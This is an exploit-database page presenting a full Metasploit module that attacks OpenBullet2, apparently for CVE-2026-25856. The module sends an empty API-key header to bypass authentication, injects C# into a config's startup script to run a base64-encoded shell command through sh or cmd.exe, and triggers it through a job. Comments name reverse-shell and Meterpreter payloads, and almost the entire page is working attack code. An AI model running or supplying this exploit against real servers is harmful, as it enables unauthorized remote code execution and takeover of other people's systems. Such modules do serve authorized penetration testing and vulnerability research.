Exploit database

MSF-multi--http--openbullet2_unauth_rce_cve_2026_25856

OpenBullet2 Unauthenticated RCE via Config Configuration Interface

MetasploitLinux,Unix,Windowsremote
Download source

openbullet2_unauth_rce_cve_2026_25856.rb

Ruby · 9,820 bytes
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'OpenBullet2 Unauthenticated RCE via Config Configuration Interface',
        'Description' => %q{
          This Metasploit module exploits an Unauthenticated Remote Code Execution (RCE) vulnerability in OpenBullet2.

          Attackers can leverage the plain C# execution mode, which lacks reference filtering or API restrictions, to access the file system, spawn processes, and invoke arbitrary .NET APIs as the process user.

          The affected versions include releases from 0.2.5.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maksim Rogov', # Vulnerability Discovery & Metasploit Module
        ],
        'References' => [
          ['CVE', '2026-25555'],
          ['CVE', '2026-25856'],
          ['URL', 'https://hackernoon.com/one-empty-header-to-admin-how-an-auth-bypass-breaks-openbullet2']
        ],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'OpenBullet2 >= 0.2.5 / Unix Command',
            {
              'Platform' => ['unix', 'linux'],
              'Type' => :unix
              # Tested with cmd/unix/reverse_bash
              # Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
            }
          ],
          [
            'OpenBullet2 >= 0.2.5 / Windows Command',
            {
              'Platform' => ['windows'],
              'Type' => :windows,
              'Arch' => [ARCH_CMD]
              # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2026-06-08',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [IOC_IN_LOGS],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'Path to the OpenBullet2 App', '/']),
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'update'),
      'method' => 'GET',
      'headers' => { 'X-Api-Key' => '' }
    )
    return CheckCode::Unknown("#{peer} - Server did not respond with the expected HTTP 200") unless res&.code == 200

    json_body = res&.get_json_document
    return CheckCode::Unknown("#{peer} - Unable to parse JSON response or response is not a valid object") unless json_body.is_a?(Hash)
    return CheckCode::Unknown("#{peer} - \"currentVersion\" key not found in response") unless json_body.key?('currentVersion')

    version = Rex::Version.new(json_body['currentVersion'])
    if version < Rex::Version.new('0.2.5')
      return CheckCode::Safe("Detected version #{version}, which is not vulnerable")
    end

    @target_os = get_server_info
    return CheckCode::Unknown("#{peer} - Could not retrieve server information") unless @target_os

    if target['Type'] == :unix && @target_os.to_s.downcase.include?('windows')
      return CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os}), but target is Unix/Linux while the server is running Windows")
    elsif target['Type'] == :windows && !@target_os.to_s.downcase.include?('windows')
      return CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os}), but target is Windows while the server is running Unix/Linux")
    end

    CheckCode::Appears("Detected vulnerable version #{version} (#{@target_os})")
  end

  def create_config
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),
      'method' => 'POST',
      'headers' => { 'X-Api-Key' => '' }
    )
    fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200

    json_body = res&.get_json_document
    fail_with(Failure::UnexpectedReply, 'Unable to parse the response or response is not a valid object') unless json_body.is_a?(Hash)
    fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id')

    json_body['id']
  end

  def update_config(config_id)
    prog, args, raw_cmd = case target['Type']
                          when :unix
                            # Quote the pipeline so ProcessStartInfo passes it as one argument to sh -c.
                            ['/bin/sh', '-c', "\"echo #{Rex::Text.encode_base64(payload.encoded)} | base64 -d | sh\""]
                          when :windows
                            ['cmd.exe', '/c', "cmd.exe /c \"#{payload.encoded}\""]
                          end

    full_cmd_encoded = Rex::Text.encode_base64(raw_cmd)
    cmd = <<~CCODE.gsub(/\s*\n\s*/, ' ')
      string c = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String("#{full_cmd_encoded}"));
      var psi = new System.Diagnostics.ProcessStartInfo("#{prog}", "#{args} " + c) {
        UseShellExecute = false, CreateNoWindow = true, RedirectStandardOutput = true, RedirectStandardError = true
      };
      System.Diagnostics.Process.Start(psi);
    CCODE

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),
      'method' => 'PUT',
      'headers' => { 'X-Api-Key' => '' },
      'ctype' => 'application/json',
      'data' => {
        'id' => config_id,
        'metadata' => {},
        'settings' => {},
        'startupLoliCodeScript' => cmd
      }.to_json
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200")
    end
  end

  def create_job(config_id)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'multi-run'),
      'method' => 'POST',
      'headers' => { 'X-Api-Key' => '' },
      'ctype' => 'application/json',
      'data' => {
        'startCondition' => {
          '_polyTypeName' => 'relativeTimeStartCondition'
        },
        'configId' => config_id,
        'proxyMode' => 'off',
        'dataPool' => {
          '_polyTypeName' => 'rangeDataPool',
          'wordlistType' => 'Default',
          'start' => 1,
          'amount' => 1,
          'step' => 1
        }
      }.to_json
    )
    fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200

    json_body = res&.get_json_document
    fail_with(Failure::UnexpectedReply, 'Unable to parse the response or response is not a valid object') unless json_body.is_a?(Hash)
    fail_with(Failure::UnexpectedReply, "#{peer} - id key not found in response") unless json_body.key?('id')

    json_body['id']
  end

  def start_job(job_id)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job', 'start'),
      'method' => 'POST',
      'headers' => { 'X-Api-Key' => '' },
      'ctype' => 'application/json',
      'data' => { 'jobId' => job_id, 'wait' => false }.to_json
    )
    fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200
  end

  def delete_job(job_id)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'job'),
      'method' => 'DELETE',
      'headers' => { 'X-Api-Key' => '' },
      'ctype' => 'application/json',
      'vars_get' => { id: job_id }
    )

    fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200
  end

  def delete_config(config_id)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'config'),
      'method' => 'DELETE',
      'headers' => { 'X-Api-Key' => '' },
      'ctype' => 'application/json',
      'vars_get' => { id: config_id }
    )

    fail_with(Failure::UnexpectedReply, "#{peer} Server did not respond with the expected HTTP 200") unless res&.code == 200
  end

  def get_server_info
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'api', 'v1', 'info', 'server'),
      'method' => 'GET',
      'headers' => { 'X-Api-Key' => '' },
      'ctype' => 'application/json'
    )
    return nil unless res&.code == 200

    json_body = res&.get_json_document
    return nil unless json_body.is_a?(Hash) && json_body.key?('operatingSystem')

    json_body['operatingSystem']
  end

  def cleanup
    super

    if @job_id
      begin
        delete_job(@job_id)
      rescue StandardError => e
        print_error("Failed to delete job: #{e.message}")
      end
    end

    if @config_id
      begin
        delete_config(@config_id)
      rescue StandardError => e
        print_error("Failed to delete config: #{e.message}")
      end
    end
  end

  def validate_target_os!
    target_os = @target_os || get_server_info
    fail_with(Failure::UnexpectedReply, "#{peer} - Could not retrieve server information") unless target_os

    if target['Type'] == :unix && target_os.to_s.downcase.include?('windows')
      fail_with(Failure::NoTarget, 'Selected target is Unix/Linux, but the remote server is running Windows. Please change the target')
    elsif target['Type'] == :windows && !target_os.to_s.downcase.include?('windows')
      fail_with(Failure::NoTarget, 'Selected target is Windows, but the remote server is running Unix/Linux. Please change the target')
    end
  end

  def exploit
    validate_target_os!

    @config_id = create_config
    update_config(@config_id)
    @job_id = create_job(@config_id)
    start_job(@job_id)
  end

end